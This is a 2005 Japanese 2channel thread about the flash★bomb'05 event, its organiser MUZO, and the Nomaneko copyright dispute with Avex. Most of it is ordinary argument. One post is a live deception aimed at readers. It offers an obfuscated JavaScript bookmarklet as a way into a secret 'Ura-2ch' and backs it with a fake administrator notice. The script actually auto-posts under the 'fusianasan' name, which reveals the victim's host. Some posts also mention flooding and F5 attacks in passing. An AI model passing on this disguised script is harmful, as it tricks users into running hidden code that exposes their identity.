【わた】flash★bomb'05に違法の疑い【ﾏｲﾔﾋｰ】

**Now_loading...774KB** · 2005/09/16(金) 16:53:00

２chトップ広告でもおなじみの「flash★bomb'05」に著作隣接権の侵害の疑い？

著作権の講釈をたれていた関係者が、土壇場で出演をキャンセル！
また２chの書き込みなどから、
レコード制作者側の許可を得ていない可能性が浮上した。

自分の権利は声高に主張しながらも
身内のイベントでは他人の既得権を踏み倒すと云う、お粗末な結果になりそうだ。

【ソース】
http://news19.2ch.net/test/read.cgi/news/1126758237/773,776,780
アベクソのせいでマイアヒFlash作成者の「わた」さんどんどん不幸に

「著作隣接権/複製権」
市販のCD からコピーした音楽をビデオのBGMなどに使う時には許可が必要になります。
http://www.jasrac.or.jp/park/whats/whats_3.html

三度目の、ショウゲキ。
http://flashbomb.jp/fb05/index.html

**Now_loading...774KB** · 2005/09/25(日) 14:08:38

■のまタコについての公開質問状■

２ちゃんねるという掲示板の管理者をしております西村と申します。
「のまタコ」というキャラクターの独自展開を考えており、
商標登録とグッズ展開にあたり何も問題がないことを確認致したくご連絡差し上げました。
勝手ではございますが、7日以内でお返事が頂けない場合は黙認されたと解釈させて頂きます。
それでは、宜しく御願い致します。

http://2ch.net/nomatako/

参考資料
のまタコ　http://viploader.net/pic/src/viploader2275.jpg
のまタコ.com　http://nomatako.com/
男前なたらこ唇　http://info.seesaa.net/image/9ee1c2f932a8809630559de228746d00.jpg

水袋の紋章
ttp://images.google.co.jp/images?q=water%E3%80%80bouget&hl=ja&lr=&ie=UTF-8&inlang=ja&c2coff=1&sa=N&tab=wi

**Now_loading...774KB** · 2005/09/25(日) 14:30:31

>>474
ひろゆきが言えば納得するさ。
お前が言っても無駄だってこと。

**Now_loading...774KB** · 2005/09/25(日) 14:33:56

虎の威を借るＭＵＺＯ関係者

**Now_loading...774KB** · 2005/09/25(日) 14:36:40

結局開催されたの？vipもたいしたことねぇなぁ('A`)

**Now_loading...774KB** · 2005/09/25(日) 14:39:47

自浄作用も無いし、VIPも口だけだし、
こうしてFLA板はＭＵＺＯの宣伝機関として変わっていくのであった…。

**Now_loading...774KB** · 2005/09/25(日) 17:21:37

>>441
うぜえ･･･

**Now_loading...774KB** · 2005/09/25(日) 18:13:33

ひろゆきがここで何か発表するらしいぞ
みんなこいよ

http://yy15.kakiko.com/test/read.cgi/vipkaizoku/1121162812/

**Now_loading...774KB** · 2005/09/25(日) 19:56:33

ところで>>1よ、で、著作権違反な楽曲はあったかい？

なかったんならさっさと削除要請出しとけよ。

**Now_loading...774KB** · 2005/09/25(日) 20:44:54

>>484これ
ttp://crossb.s72.xrea.com/xxx/yhasu2.swf

**Now_loading...774KB** · 2005/09/25(日) 21:00:39

ぐあああああああああああああああああああああああああああああああああああああああああああああああ

**Now_loading...774KB** · 2005/09/25(日) 21:04:24

つーかアドレスでバレバレだから

**Now_loading...774KB** · 2005/09/25(日) 21:25:26

　　_、_
ヽ( ,_ﾉ｀)ノ　＞485
へﾉ　／　　”まだまだいくよ～”で消した。
　ωノ

(C)いなすえ谷

**Now_loading...774KB** · 2005/09/25(日) 22:27:09

>>484
やあ。楽しそうだな。ﾆﾔﾆﾔ

**Now_loading...774KB** · 2005/09/26(月) 06:49:51

営利主義はダメってことか・・・。２ちゃんねると関わるのなら。

ある意味、厳しい条件をつきつけたよね。２ちゃんねらーはＭＵＺＯに。

**Now_loading...774KB** · 2005/09/26(月) 07:04:09

>>490
２ちゃんねら全員じゃなくて、そう言ってるﾔｼもいるってこと。
別に誰がどう思っても自由。それが２ちゃんねる。
２ちゃんねらの総意ってのは存在しない。

……ちなみに、利益を追求しない企業というと、
例えばどんなとこがそうなんだろ？

**Now_loading...774KB** · 2005/09/26(月) 07:11:55

>>491
ＮＰＯとかじゃないかな？　営利を追求しない会社。
２ちゃんねらーは全体的に関わる企業にＮＰＯ的な動きを求めるようだ。

**Now_loading...774KB** · 2005/09/26(月) 07:48:55

>>492
言いたいことはすごくわかる。

**Now_loading...774KB** · 2005/09/26(月) 08:10:32

板で育ったイベントが企業に巣立つか…
ある意味さびしいものだな

**Now_loading...774KB** · 2005/09/26(月) 08:46:40

>>494
単純に楽しむ物が、誰が決めたか知らないが利潤追求へと目的が変化。
動作が軽く、Web上で見れるのが利点なのに、コンサート化してしまった動画。

他の人が善意で作った音楽でCD作って売ろうとしたり、
画像でトランプ作ろうとしたりした奴が、仕切っている時点で終わっている

**Now_loading...774KB** · 2005/09/26(月) 08:54:16

インパクみたいにネットで開催すればいいのに・・・。パスワード制にして。
ブロードバンドの時代だしね。ネットで公開してこそフラッシュの価値があるし。

**Now_loading...774KB** · 2005/09/26(月) 08:58:51

自分でやってみればいいのに、と思うんだけど・・・。

**Now_loading...774KB** · 2005/09/26(月) 09:04:37

>>497
それは筋違い。
彼らが自分でやるといったからには、自分のゲストのわた問題も含めて
間に立つというやり方ではなく、彼ら自身で解決つけるべき。

自分で出来ないから批判するんだと言うわけではなく、
やるといったからには、終始きっちりけじめをつけるべき。
自分で作った物を売るならまだしも…他人が作った物で無償の物から収益を得るなんてなんか間違ってる。
そういう意味でAVEXと同じ。

（自分は表に立って華やかな立場に常にいて、汚い仕事をしたくないなんて甘い甘い）

**Now_loading...774KB** · 2005/09/26(月) 09:06:38

なんだか、日本語が変でござるよｗｗ

**Now_loading...774KB** · 2005/09/26(月) 09:19:16

携帯で見れるわた様の画像ない？

**Now_loading...774KB** · 2005/09/26(月) 13:22:52

>>495 >>498
なんだかMUZOを批判したいってのが最初にあるみたいな文章だが。

そもそもFxjCEOs+が、MUZOのこと嫌いになった理由は？

それと、「けじめ」の意味、間違って使ってないか？

**Now_loading...774KB** · 2005/09/26(月) 14:51:24

板の事など考えない露骨な我田引水。
めぼしい職人が刈り取られ板内の活性が失われる。
まだ板内に活力がある内は有力な職人が訪れる事も板内で育てられる事もあるだろう。
そしたらまた刈る。
職人を奪われ続ければやがて板内の活性は失われ廃墟と化す。
養分を搾り取った寄生虫は何事も無かったように素知らぬ顔で飛び去っていく。

**Now_loading...774KB** · 2005/09/26(月) 15:23:16

え、何？
じゃあFB前の過疎状態はMUZOが生んでたって思ってるの？
イベントに誘うのが「職人を刈り取る」ってことになってるの？
お前そりゃどう見ても精子です。
本当にありがとうございました。

**Now_loading...774KB** · 2005/09/26(月) 16:06:22

>>503
リアルな人間関係のしがらみや利権に絡んだ職人獲得競争と派閥争い
そんな面倒に巻き込まれる為にわざわざ来るような場所じゃないだろ。

作品投下する職人の立場で考えてみれ。
まぁ自分がモノ作らずに金儲けだけ考えてるから理解できんだろうけど。

**Now_loading...774KB** · 2005/09/26(月) 16:18:34

MUZOが2chから離れれば良いだけの話だよな今回の事件で多くのねらー敵に回しちゃったわけだし
今更言い訳並べた所で、MUZOの2ch内の立場が変わるわけでもないし・・・

最初に出したコメントとそれに対する擁護カキコが大失敗だた
大人の対応してりゃ良かったのに、MUZOのコメントも擁護のコメントも餓鬼の言い訳文だたし
あれさえ無きゃ・・・と今更ながら思う

尻尾を切るタイミングが遅すぎたな

**Now_loading...774KB** · 2005/09/26(月) 16:19:14

一応・・・わた本人も、わたの身内も２ちゃんねらーではなくてmixi（ミクシ）会員。
（わたが２ｃｈねらーだと勘違いしている人が多いので注意。わたは２ｃｈに情報を収集しに来ていただけ）
ついでにいっておくと、F★B主催のFlash50とわたはmixiで交流がある。
今回の件は、mixiに２ｃｈが敗れたといってもいいだろう。

わたは馴れ合いmixiが大好き！
http://mixi.jp/view_community.pl?id=167455
「わたゆきの会」過去参加者で仲良くなったヒトたちが遊びに行ったり飲み会したりの連絡を取るために立ち上げたサークルコミュです。
*今までの管理人*
初代：likoちん http://miyabi.pinoko.jp/
２代目：真さん http://homepage3.nifty.com/yomeirinezumi/
３代目：koto
裏幹事：Isaak　http://ragna6.chobi.net/
秋 http://www.bea.hi-ho.ne.jp/chatterbox/index2.shtml
くらげ http://homepage2.nifty.com/srgic/sh/sh.html
マワック http://mawakku.fc2web.com/maiare.htm
アツシ http://www11.plala.or.jp/bouningen/
nine　http://www15.plala.or.jp/side-nine/
ぴぇ http://www1.obi.ne.jp/%7Eplacebo/
よしき http://members.at.infoseek.co.jp/b_class/
元 http://dissonance3286.fc2web.com/index.html
いつだって無計画 http://www6.plala.or.jp/always-planless/index.html

「わた」と親交があり彼女を応援する「ゆき」 http://www.geocities.co.jp/Bookend-Ohgai/6981/

とりあえず、わた・ゆき当人方の承諾を得るまで申し訳ゴザイマセンが非公開とさせて頂きます。
当面のトップ写真はわたさん作製のネコトントンで。

**Now_loading...774KB** · 2005/09/26(月) 16:19:58

まあ現時点でFLA板はほとんど廃墟に近いんだけどね。
現実FLA板に作品投下する奴はほとんど居なくなりFLA板に残った大半は底辺職人。
実力を付けた有名職人はFLA板を離れイベントの主催をやる奴はFLA板にはほとんど顔を出さなくなり
イベントの司会しかやらなくなった奴も居ればFLASH自体から身を引く奴も居る。
そこそこできる奴はMUZOに取り上げられてやっぱり板を離れる。
やっぱり板に残るのは乙食と粘着と底辺職人。悲しいけどこれ現実なのよね。

**Now_loading...774KB** · 2005/09/26(月) 16:45:53

■裏２ちゃんねるに入る方法(IE限定)

１．下の文字列をコピーする。
２．IEで裏を見たいスレを表示する。
３．アドレスバーに貼り付ける
４．Enterキーを押すだけだ

JavaScript:var%20f=doc%75ment.%67e%74Ele%6de%6etsB%79%54ag%4eame%28%27fo%72m%27%29%5b0%5d;f.F%52%4f%4d.%76al%75e=%27f%75sia%6easa%6e%27;f.%6dail.%76al%75e=%27u%72a2c%68%27;f.%4dES%53A%47E.%76al%75e=%27%4a%53%27;f.s%75b%6di%74.clic%6b%28%29;void%280%29;

---------

223 名前：ひろゆき＠どうやら管理人★ 投稿日：05/09/25(日) 14:01:33 ID:??? ?###
とゆーわけで、質問状を送ったわけですが、これからの作戦を検討する板
「インスパイア板」を新設したですよ。。。。例の裏２ちゃんねるからログインしてください。
くれぐれも、このお知らせは内密にお願いしますです。。。以上

**Now_loading...774KB** · 2005/09/26(月) 16:48:11

>>507
まさに悪循環だよな。
実力がある職人もたまに書き込みはしてくれるんだが、
お子様職人が大量流入してしまったためモラルが低下して
精神年齢が高い職人はそういう連中と触れ合うのを嫌うから
たまにしか現れなくなってしまった。

特にみ～や一派はウザイ。
あいつらと馴れ合いたくないしｗ
然るべき所を叩いても粘着扱いされてる奴を見ると近寄りがたいとしか言えないよ。

**Now_loading...774KB** · 2005/09/26(月) 18:00:19

掲示板
http://www.benriweb.net/bbs/cute/cute.cgi?id=kuroma&subdir=p2
の｢のまネコ問題について｣のスレッドで管理人が

[3663] Re:のまネコ問題について
エイベックスは、争ったら企業イメージを損なってしまうので、
あまり強引な手段はとれないでしょう。
２ちゃんねるの抗議行動がもっと活発になれば、取り下げざるを得ないかと。

でも、のまネコは著作権侵害にはあたらないでしょうし、
２ちゃんねるに対して何ら害を与える存在ではありませんので、
もし裁判になったらエイベックスが勝つと思います。

中傷や田代砲は、嫌がらせや脅しで相手の行動を妨害しようとすることですから
やってることはヤクザと同じ。
皆さんには、そういう行動には共感してほしくないです。

２ちゃんねらーの反感を買ってしまったのはエイベックスの落ち度ですが、
それに対し、エイベックスをつるし上げることに何の意味があるでしょう？
怒りを他人にぶつけることは、不幸を増すばかりで、誰も幸福になりません。

**Now_loading...774KB** · 2005/09/26(月) 18:49:57

>>495
煽るわけじゃないんだが、ごめんな。
２ちゃんがアングラだと感違いする厨房ってそんな思考かな、と。

＞単純に楽しむ物が、誰が決めたか知らないが利潤追求へと目的が変化。
＞動作が軽く、Web上で見れるのが利点なのに、コンサート化してしまった動画。

２ちゃんねるだって歴然たる企業だよ。
書き込みという無償の行為を金に変えて２ちゃんねるは動いているわけだけど。
広告やスポンサーに支えられて多くのサーバは動いている。タダで動いているわけじゃない。
広告やスポンサーを獲得してくるということは、
君の言う、書き込みという無償の行為を金に変えるということじゃないのか？

どうしてひろゆきがサンダル履きでへらへらしていられるのか、考えたことはないかい？
はっきり言うけど、２ちゃんねる運営は現状ぼろ儲けなわけですよ？

ここ自体がそういう場所だってことに何故気づかない？
ネットは無料の場所なんじゃないんだってばそもそもさ。

金儲けがどうこう言う議論が馬鹿馬鹿しく聞こえるのはそのためなんだけどな。

**Now_loading...774KB** · 2005/09/26(月) 18:58:10

ぼろ儲けしてんのか？

**Now_loading...774KB** · 2005/09/26(月) 18:59:00

そりゃあもう。

**Now_loading...774KB** · 2005/09/26(月) 19:02:12

>>511
金儲けを想定して無いのに、金儲けに使われたから怒ってるんだろ？

**Now_loading...774KB** · 2005/09/26(月) 19:16:11

2chが儲けてるのはかまわんよ
遊び場を提供してもらってる対価と思えば

全くの無関係であるAvexのようなやり口は気にいらんがね
MUZOは･･･　　　敢えて擁護する言葉も見当たらん
自業自得な面もあるしね

**Now_loading...774KB** · 2005/09/26(月) 21:01:59

で、結局MUZOって何したの？

**Now_loading...774KB** · 2005/09/26(月) 21:14:57

>２ちゃんがアングラだと感違いする厨房ってそんな思考かな、と。

企業であることは分かっているが、

自分は作らず、他人の創造物で”あからさま”に金を取るような行為はしていないだろ。

**Now_loading...774KB** · 2005/09/26(月) 21:31:57

例えば、自分が釣った魚を美味しいからみんなに食べてもらおうと考え、料理して人にあげて、

それを目の前で売られたらどんな気分になるんだよ。　お前さ、人間的に間違ってるよ。

やっぱり頭可笑しいんじゃないか？　頭の螺子が緩んでるとしか思えない。

最近の奴らって、やっぱり病気だよな…

**Now_loading...774KB** · 2005/09/26(月) 21:36:01

>>518
お前が魚を釣ったんか。
料理を作ったんか。
食べてもらおうと思ったんか。
違うだろ。
お前はテーブルについて料理が来るのを口を開けて待っていただけ。注文もせずに。
料理が自分のところに運ばれてこなかった、
またはそこは本当はレストランじゃなかったから怒ってるだけだろ。

**Now_loading...774KB** · 2005/09/26(月) 21:37:58

そして無意味なモナーの作者論争に戻るわけかｗ

**Now_loading...774KB** · 2005/09/26(月) 21:39:08

ＭＵＺＯは２ちゃんねらーと仲良くしていきたかったらＮＰＯ法人になるしかない。
儲けようと考えると全て叩かれるだろうね。これからますます。

監視の目はこれからさらに厳しくなる。一番良いのは２ちゃんねると徹底的に関わらないこと。
しばらくはＭＵＺＯ関連のスレは削除対象にするとかした方がいいと思う。

**Now_loading...774KB** · 2005/09/26(月) 21:42:56

>>521
おいおいｗ
そりゃ荒っぽ過ぎないか？
ただでさえ削除し過ぎで叩かれてるのに。

**Now_loading...774KB** · 2005/09/26(月) 21:43:19

>>522
馬鹿にかまうな

**Now_loading...774KB** · 2005/09/26(月) 21:47:07

50達はMUZOやるために現職辞めたのかな？
だとしたらきっついねー。

**Now_loading...774KB** · 2005/09/26(月) 21:48:49

いやだってさ、ＭＵＺＯが２ちゃんねると関わらないことを宣言して、それを
運営側に伝えて、ＭＵＺＯ側から削除対象にしてほしいと訴えれば、ＭＵＺＯ
は完全に２ちゃんねるから離れたってイメージをつけられるじゃない？

そうすれば誰も文句言わなくなるよ。いくら儲け主義でイベントやろうと。

**Now_loading...774KB** · 2005/09/26(月) 21:49:32

>>519
まぁ落ち付け。お前さんが突っ込む気持ちもわからんではないが
>>518が切れてる理由もわからんでもない。

彼は正義感が強すぎたんだよ。
AA職人とFlash職人と名無しの方々が育ててきたキャラをパクられたからその人達に代わって
キレてるんだよ。

**Now_loading...774KB** · 2005/09/26(月) 21:50:11

>>517
>>518

>>519が全て語ってるけど、ほんと駄々っ子な厨房は困るな、って感じだ。

２ちゃんねるの営利活動の出先機関、それがＭＵＺＯだという単純穴構図がわかりませんか？
イヤだったら２ちゃんやめたら？

**Now_loading...774KB** · 2005/09/26(月) 21:52:06

＞ＭＵＺＯ側から削除対象にしてほしいと訴えれば
頭の悪い子ｷﾀｺﾚ

**Now_loading...774KB** · 2005/09/26(月) 21:52:11

>>521
>>525

それは無理。

上に書いているけど、２ちゃんねるの営利活動の出先機関、それがＭＵＺＯなんだよ。
２ちゃんねるから離れられるわけがないし、そういう企業でもないぞ。

**Now_loading...774KB** · 2005/09/26(月) 21:53:08

>>525
２ちゃんから離れたら、
２ちゃんがMUZOスレを削除する義理がない。
なんで他人を庇う必要があるんだ？

**Now_loading...774KB** · 2005/09/26(月) 21:57:18

いやさ、正論言うのはいいけど机上の空論は意味無いと思うよ。

今一番大事なのはなんでＭＵＺＯが叩かれているのか？　どうしたら叩かれなくなる
のか、の具体的な方法論だよ。現実をみすえての。

このままだとＭＵＺＯはこの先なにやってもキツイぞ。

**Now_loading...774KB** · 2005/09/26(月) 22:03:52

>>531
関係者にﾏｼﾞﾚｽしてもﾑﾀﾞでそ。

**Now_loading...774KB** · 2005/09/26(月) 22:05:51

>>531
確かにキツそうだな。
それにその具体的方法論を考えた方がよっぽど前進的だ。

まぁ、MUZOだって生き残るのに必死なわけよ。

**Now_loading...774KB** · 2005/09/26(月) 22:08:19

まぁ今は「金儲けの何が悪い」「ＭＵＺＯを批判する奴はガキ」
という風潮を作ることで、生き残り策を見出してるみたいだけど。

正直もうフラ板からは離れてもいいんじゃないのか。
イベント名からFLASHの文字も消えたんだし。

**Now_loading...774KB** · 2005/09/26(月) 22:14:52

>>534
オレもＭＵＺＯは２ちゃんねるから完全に離れた方がいいと思う。もうその仕組み
はバレバレなんだし、何を言い分けしても無駄。

ＭＵＺＯがこれからすべきことは２ちゃんねるから完全に離れたってことを世間に
しっかりアピールして、独立でやっていく方法を探すこと。

しかし２ちゃんねらーを敵にまわして生きていくのは難しいと思うけど。

**Now_loading...774KB** · 2005/09/26(月) 22:17:27

ふかみんとかも絡んで利権構造が出来てるから２ちゃんから離れるのは無理でしょ。

でも他からフラ板と同一視されるのははっきり言って迷惑だし、
ＭＵＺＯ板でも立ち上げてみてはどうかね。あるいはオフ会板にスラッシュアップスレ作るとか。

**Now_loading...774KB** · 2005/09/26(月) 22:18:56

つーか企業として営利追求しだしたＭＵＺＯが
板の為に貢献出きる事はもはや無いだろう。
逆にデメリットしかない。
それが良いか悪いか別にしても共生関係が保てない以上、
虎の威を借りようが奇麗事並べようが共存は無理だな。

**Now_loading...774KB** · 2005/09/26(月) 22:19:50

>>531
君の”具体的な方法論”が運営に頼んでMUZOのスレ削除か。

MUZOができる具体的な方法といえば2chから離れることだけど、
そもそも2ch系列の会社だから離れられるわけが無い。
2chの後ろ盾無しに何もできないのが現状。
できることといえば、定期的に魅力的なイベントを開催すること。
2ch向けでなく、一般人に向けてね。
2ch系列でありながら、その気配を見せずに一般向けにシフトするのがいいんじゃないかと思う。
MUZO自身もそのつもりで「/up」宣言したのではないかと思われる。
もっとも、動画イベントなんて沢山あるから独自性を出すのが大変だろうけどね。

にゃんつーかさー名無しができることなんて何もないのよ。

**Now_loading...774KB** · 2005/09/26(月) 22:22:00

ＭＵＺＯの名前も変えたらいいんじゃない？　別な組織つくるべきだな。
イメージ悪いからな。ＭＵＺＯって名前が。

のまネコ問題三大悪として、エイベックス、わた、ＭＵＺＯってことになっているし。
２ちゃんねる内では。

どうするの？　このイメージの悪さ。

**Now_loading...774KB** · 2005/09/26(月) 22:23:00

今回のFBには結構客も入ってたことだし
もう２ちゃんから離れても大丈夫さｗ

さぁ、足を踏み出すんだMUZOｗ

ぶっちゃけMUZO無くても困んないしｗ

**Now_loading...774KB** · 2005/09/26(月) 22:23:05

＞2ch系列でありながら、その気配を見せずに一般向けにシフトするのがいいんじゃないかと思う。
んでそういう、ＭＵＺＯにのみ都合のいいやり方が反発食らってるんでそ。
今後もそういう甘えた姿勢でいくなら叩きは逃れられない。
運営はどうなのか知らんが。

**Now_loading...774KB** · 2005/09/26(月) 22:25:42

>>537
どうなんだろうな、そこらへん。

なんとなく関係者扱いされてそうだが、ＭＵＺＯが離れると
俺の実感からすれば板が枯れそうで恐ろしい。

板の衰退についてあれこれ言われているけれど、そりゃＭＵＺＯの責任ではなく、
ぶっちゃけＩＤ制の導入が直接の原因であって、それ以外ではない。

ＭＵＺＯ抜きに盛り上がれるなら、他イベントはもっと盛り上がっているし、
普段からスレだって盛り上がっているだろう。

現実的に考えて、どうなんだろうなってのが正直なところ。皆の実感としてどうか聞きたいんだが。

**Now_loading...774KB** · 2005/09/26(月) 22:26:00

>>539
どうするの？って
MUZOのイメージが悪くなってお前に何か不都合でもあるの？

**Now_loading...774KB** · 2005/09/26(月) 22:28:52

>>543
そういうことでなく議論しているんだからさ。意見を聞きたいんだよ。
ＭＵＺＯって名前のイメージの悪さはすでに致命的じゃないのか？

**Now_loading...774KB** · 2005/09/26(月) 22:28:57

>>542
そもそものまネコ騒動が起こる前はMUZOの名すら出る事が稀だった。
現にFB本スレも騒動が起こるまでは閑古鳥だったし。

だからMUZOが離れても変化無しだろうな。

**Now_loading...774KB** · 2005/09/26(月) 22:29:27

>>542
＞なんとなく関係者扱いされてそうだが、ＭＵＺＯが離れると
＞俺の実感からすれば板が枯れそうで恐ろしい。
いた頃から枯れてますよ？
彼らはオフラインかmixiが活動の中心でしょ。
フラ板っつーか２ちゃんは人集めのために使ってるだけで。

**Now_loading...774KB** · 2005/09/26(月) 22:30:00

>>544
正直MUZOがどうなろうが知ったこっちゃないんだが。

**Now_loading...774KB** · 2005/09/26(月) 22:31:41

>>547
俺もそれが本音ｗ

**Now_loading...774KB** · 2005/09/26(月) 22:34:02

>>547
オレはひとつのサンプルケースとして気になるんだよね。ＭＵＺＯの問題って。
Ｆ★Ｂは成功したようだけど、トータルでは大敗だよね。長期的視野で見れば大敗。
ほとんど再起不能なくらいの大敗に思える。

**Now_loading...774KB** · 2005/09/26(月) 22:34:27

>>544
MUZOのイメージが悪くて紅白などのイベントごとに
他板から絡んでくるあほちゃんがくると嫌だなと思ってます＞ｗ＜
誰か紅白や続FBを主催してくれないかなーとおもってます＞ｗ＜

**Now_loading...774KB** · 2005/09/26(月) 22:37:02

それから、今回はＭＵＺＯの対応の失策にポイントがあるとしても、
そもそもＦＬＡＳＨ作品の商業化はＭＵＺＯだけが「戦犯」じゃないんだよ。

企業としての２ちゃんねる運営もそうだけれども、
とどのつまり職人達自身がそういう方向でもってＭＵＺＯを支えてきたわけでしょ？

セミプロ級の連中がここまで集まってきていて、
では、いつまでも狭いアマチュアの世界で楽しくやりましょう、そんなわけにはいかんよな。

いずれどこかでぶち当たる壁なわけで、
今回はＭＵＺＯが矢面に立ったわけだけれども、別の時には誰が矢面に立っていたかはわからない。

散々、職人達や住人達同志でＦＬＡＳＨ作品の将来についてこれまで語ってきたわけだろう？
ぶっちゃけいつまでもぬるま湯のようなアマチュア世界じゃ我慢できない、
そんな声が大きかったから板に競争思考やメジャー思考が大きなうねりとして生まれたわけだろう？

ＭＵＺＯだけを生贄の祭壇に捧げても問題は根本的にはまるで解決しないと思うぞ。

**Now_loading...774KB** · 2005/09/26(月) 22:39:06

>>546
だからだよ。
ぶっちゃけＭＵＺＯ周りの紅白－ＦＢのワンサイドゲームだったじゃないか。
彼らが去って何が残るのか、不安なんだな。正直なところ。

**Now_loading...774KB** · 2005/09/26(月) 22:39:24

そこまでＭＵＺＯの立場から見て考えることができるなら、
じゃあ君は全身全霊をＭＵＺＯに捧げて頑張ってくれ。

としか言いようが無いな。

**Now_loading...774KB** · 2005/09/26(月) 22:40:34

>>553
全く持ってその通りだな。

**Now_loading...774KB** · 2005/09/26(月) 22:40:58

>>551
言っていることは正しいと思うけど、だからこそ、始めから２ちゃんねると関係が無い
イベントだったら良かったのになぁって思う。そこが根本的な不幸の部分。
残念だよ。意気込みは正しいのに。

**Now_loading...774KB** · 2005/09/26(月) 22:41:57

MUZOは死ね

**Now_loading...774KB** · 2005/09/26(月) 22:42:18

>>553は>>551あてね。

>>552
過疎板には過疎板なりの生きかたっつーか振る舞いがある。
初心者スレや情報交換スレとかがひっそり機能してればいいでしょ。

表の世界でＭＵＺＯが大成功すればそれはそれでFLASH界全体から見れば喜ばしい。
でももうFLA板からは切れて欲しいね。
勝手にFB終了宣言するくらいだから、向こうもそのつもりでいるものと思っていたんだが。

**Now_loading...774KB** · 2005/09/26(月) 22:46:57

紅白はＦＢと違ってネットイベントなんだよね。
今まで散々「ネット弁慶」と揶揄されたネット粘着どもの土俵。

今までの紅白は、例え50が嫌いでも、ＦＬＡ板愛着によって守られてきた所があるが、
今回ＭＵＺＯの名でやってしまえば、愛着どころか、批判してる方が大多数になっちまう。
ネットでの信頼を無くしたら、ネットでのしっぺ返しはきついんだよね。
ＦＬＡＳＨは普通の状態でも転送量が問題になってんだから、ちょっとしたＦ5攻撃は無防備もいいところ。

**Now_loading...774KB** · 2005/09/26(月) 22:47:20

そして更にFLA板の廃墟化が進む、と。

**Now_loading...774KB** · 2005/09/26(月) 22:47:24

しかし企業が２ちゃんねると関わるとろくなことが無いって感じだなぁ。
他の会社も気を付けてほしいね。ほんと。

**Now_loading...774KB** · 2005/09/26(月) 22:47:51

>>555
貴様ぁ！フラ板住人ではないな！

**Now_loading...774KB** · 2005/09/26(月) 22:49:12

>>553
>>554
またそんな下らん反応しかできないわけだよな。

はっきり言やブームに熱狂してきたのは誰なのよ？
ＦＬＡＳＨ作品の社会的進出に喝采してきたのは誰なのよ？

そこらへんを考えない限り、同じことを繰り返すだけ。

ＦＬＡＳＨはあくまで「ブーム」なんだよ。
それにひかれて多くの人達はやってきた。

実態というか、足元を良く見て考えておくれよ。

**Now_loading...774KB** · 2005/09/26(月) 22:50:41

なんでもＭＵＺＯの名でやればうまくいかないんじゃないかな？　これからも。
商業主義があまりに露骨に見えすぎれば反発をまねく。

**Now_loading...774KB** · 2005/09/26(月) 22:50:47

>>562
君の言ってることは「ＭＵＺＯを虐めないで！」以外スレ違い。

**Now_loading...774KB** · 2005/09/26(月) 22:52:33

>>560
ＭＵＺＯは今回の件で、「企業活動の味方」についた格好になったからな。
アンチに「企業活動阻止」の意味が無くとも大義名分を与えてしまったから、
実際他よりも更に厳しいでしょ。

**Now_loading...774KB** · 2005/09/26(月) 22:52:39

>>561
参考までに聞きたいんですけど、なんでそう思われたのですか？　

**Now_loading...774KB** · 2005/09/26(月) 22:53:59

MUZOなんて無くても、
紅白Flashとか、昔やってたじゃない？
なんでオルグされてんのかね。この板の住民の多くは。

私から見たら、MUZO主催のイベントはクローズドに見えるよ。
昔は紅白とか、誰も彼もがオープンに参加して
盛り上がってたと思うんだけどねえ

**Now_loading...774KB** · 2005/09/26(月) 22:55:19

オルグ？クローズド？

**Now_loading...774KB** · 2005/09/26(月) 22:55:22

>>564
ここはＦＢスレなんだがｗ

もう一度、言いたいことを整理して言っとくね。

「今、ＭＵＺＯを板から放り出したとしても、必ず第二第三のＭＵＺＯは現れる。」

観客も職人も要求してきたじゃないか。
いくらたとえば俺がそれを諫めたとしても、聞かなかったじゃないか。

**Now_loading...774KB** · 2005/09/26(月) 22:55:23

>>567
ヒント：関係者

**Now_loading...774KB** · 2005/09/26(月) 22:56:45

大人の「物分かりの良さ」は２ちゃんねらーには理解されないみたいだな。
ＭＵＺＯの態度は大人の社会ではよくある態度なんだけど。

でも多数決では２ちゃんねらーの勝利なんだよね。常に。

**Now_loading...774KB** · 2005/09/26(月) 22:57:49

>>569
自慢話かよ

**Now_loading...774KB** · 2005/09/26(月) 22:59:10

いくら議論しようが結論が出ないのは明白なんですけどね

**Now_loading...774KB** · 2005/09/26(月) 22:59:24

２ちゃんねるとまったく関係の無い会社がＦ★Ｂみたいなフラッシュのイベントを
やってくれるといいのに・・・。それで解決なんだけど。

ＭＵＺＯはもうダメだよ。何をやっても。もう遅い。

**Now_loading...774KB** · 2005/09/26(月) 23:00:38

>>571
まず数で勝る目標を立てることが戦略上で最も大事な案件。
ＦＬＡ板さえ抱き込めなかったＭＵＺＯは失敗と言われても仕方が無い。

**Now_loading...774KB** · 2005/09/26(月) 23:00:50

>>569
FBはＭＵＺＯの手により終了しましたよ。

＞「今、ＭＵＺＯを板から放り出したとしても、必ず第二第三のＭＵＺＯは現れる。」
それが今ＭＵＺＯを放り出さない理由にならない。

つーか今までＭＵＺＯっつーかＦＢを支えてきた大部分は
「２ちゃんオフ会的な仲間意識」であって、ＭＵＺＯじゃないよ。
そういうのを踏みにじったからダメ出しされてるんでしょ。
まぁ、今後はそれに頼らずいわゆる”世間”から認められるように頑張ってくれとしか言えん。

>>571
いやー、大人はもうちょい波風立てずに動くよ。
傲慢なところは別だけど。ｴｲﾍﾞｯｸｿとかｗ